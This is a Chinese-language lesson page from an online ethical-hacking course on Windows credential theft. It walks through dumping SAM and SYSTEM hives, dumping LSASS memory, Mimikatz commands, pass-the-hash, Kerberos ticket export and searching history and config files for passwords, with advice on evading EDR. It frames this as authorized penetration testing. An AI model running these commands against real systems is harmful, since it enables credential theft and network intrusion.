凭据窃取
转储机密信息
凭据窃取 是 CoddyKit 上的免费 Ethical Hacking Academy 课时。 这是第 4 节课，共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Ethical Hacking Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Ethical Hacking Academy 课程共包含 4 节课。
为什么要收集凭据
即使已经取得 SYSTEM，真正有价值的目标通常仍然是凭据——密码哈希、明文密码以及能够帮助您横向移动并进入域的票据。凭据收集可以把攻陷一台计算机扩展为攻陷整个网络。
SAM 数据库
本地帐户哈希存储在 SAM 注册表配置单元中，并使用 SYSTEM 配置单元中的密钥加密。取得 SYSTEM 访问权限后，您可以转储这两个配置单元，并在离线状态下提取 NTLM 哈希。
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
# then: secretsdump.py -sam sam.save -system system.save LOCALLSASS 内存
LSASS 进程会在内存中保存已登录用户的凭据，其中通常包括明文凭据、可重复使用的 NTLM 哈希以及 Kerberos 票据。转储 LSASS 是价值最高的凭据收集操作。
rundll32 comsvcs.dll, MiniDump <lsass_pid> C:\Temp\lsass.dmp fullMimikatz
Mimikatz 是标志性的凭据提取工具。sekurlsa::logonpasswords 可以从 LSASS 中提取凭据；它还可以提取票据、执行传递哈希，并转储 SAM。
privilege::debug
sekurlsa::logonpasswords
lsadump::sam传递哈希
您通常不需要破解哈希——传递哈希可以直接使用 NTLM 哈希进行身份验证。这就是为什么只要转储哈希，就足以在共享本地管理员凭据的计算机之间横向移动。
pth-winexe -U "admin%aad3b...:31d6c..." //10.0.0.6 cmd
# or evil-winrm -i host -u admin -H <NThash>缓存的域凭据
加入域的计算机会缓存最近的登录凭据（MSCache/DCC2），以便用户在脱机状态下登录。这些缓存哈希可以被转储并在离线状态下破解（速度较慢），从而得到域密码。
secretsdump.py -system system.save -security security.save LOCAL已保存和存储的凭据
Windows 会将凭据存储在凭据管理器 / 保管库中，也会将其保存为受 DPAPI 保护的数据块（已保存的 RDP 凭据、浏览器密码、Wi-Fi 凭据）。取得 SYSTEM 和主密钥后，您就可以解密这些数据。
cmdkey /list
vaultcmd /listcreds
mimikatz: dpapi::cred /in:<blob>窃取 Kerberos 票据
在 Active Directory 中，Mimikatz 的 sekurlsa::tickets 可以导出 Kerberos TGT/TGS。窃取的票据支持传递票据，而域管理员的 TGT 可能导致通过黄金票据/白银票据实现持久化。
sekurlsa::tickets /export含有秘密的文件和脚本
不要忽略容易发现的目标：脚本、配置文件以及充满明文凭据的历史记录。PowerShell 历史记录、无人值守文件和 IIS web.config 连接字符串中经常包含密码。
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
findstr /si "password connectionString" *.config清理与 OPSEC
转储 LSASS 会受到 EDR 的严密监控，而 Defender Credential Guard 可能会阻止这一操作。在安全测试中，应优先选择隐蔽的方法，清理转储文件，并在报告中记录您访问过的内容。
道德规范与授权
凭据收集会暴露组织最敏感的秘密。请安全处理转储出的凭据，绝不要将其外传到授权范围之外，并且只能在明确的书面授权下开展操作。
快速检查
测试您对凭据收集的了解。
总结
您已经学习了凭据收集：
- 转储 SAM 以获取本地哈希；转储 LSASS 以获取已登录用户的凭据和票据
- Mimikatz 可以提取密码、哈希和 Kerberos 票据
- 传递哈希 / 传递票据可以在无需破解的情况下实现横向移动
- 检查凭据管理器、DPAPI 以及配置文件/历史记录文件中的秘密
Windows 权限提升课程到此结束。
用 AI 导师学习 Ethical Hacking Academy — 免费
在浏览器中编写并运行真实代码，获得全天候 AI 导师的即时帮助，并在网页或应用中继续学习。
- 课程
- 31
- 课程
- 111
常见问题解答
「凭据窃取」课时是免费的吗？
是的 — 「凭据窃取」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Ethical Hacking Academy 课程的其余内容，请升级到 CoddyKit PRO。 Ethical Hacking Academy 课程共包含 4 节课。
「凭据窃取」这节课中我会学到什么？
转储机密信息 你通过在浏览器中直接运行的动手代码来练习 Ethical Hacking Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Ethical Hacking Academy 需要有经验吗？
无需任何先前经验。CoddyKit 上的 Ethical Hacking Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。 这是第 4 节课，共 4 节。
「凭据窃取」课时需要多长时间？
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。
我能在这节 Ethical Hacking Academy 课中编写并运行代码吗？
能。每节 Ethical Hacking Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。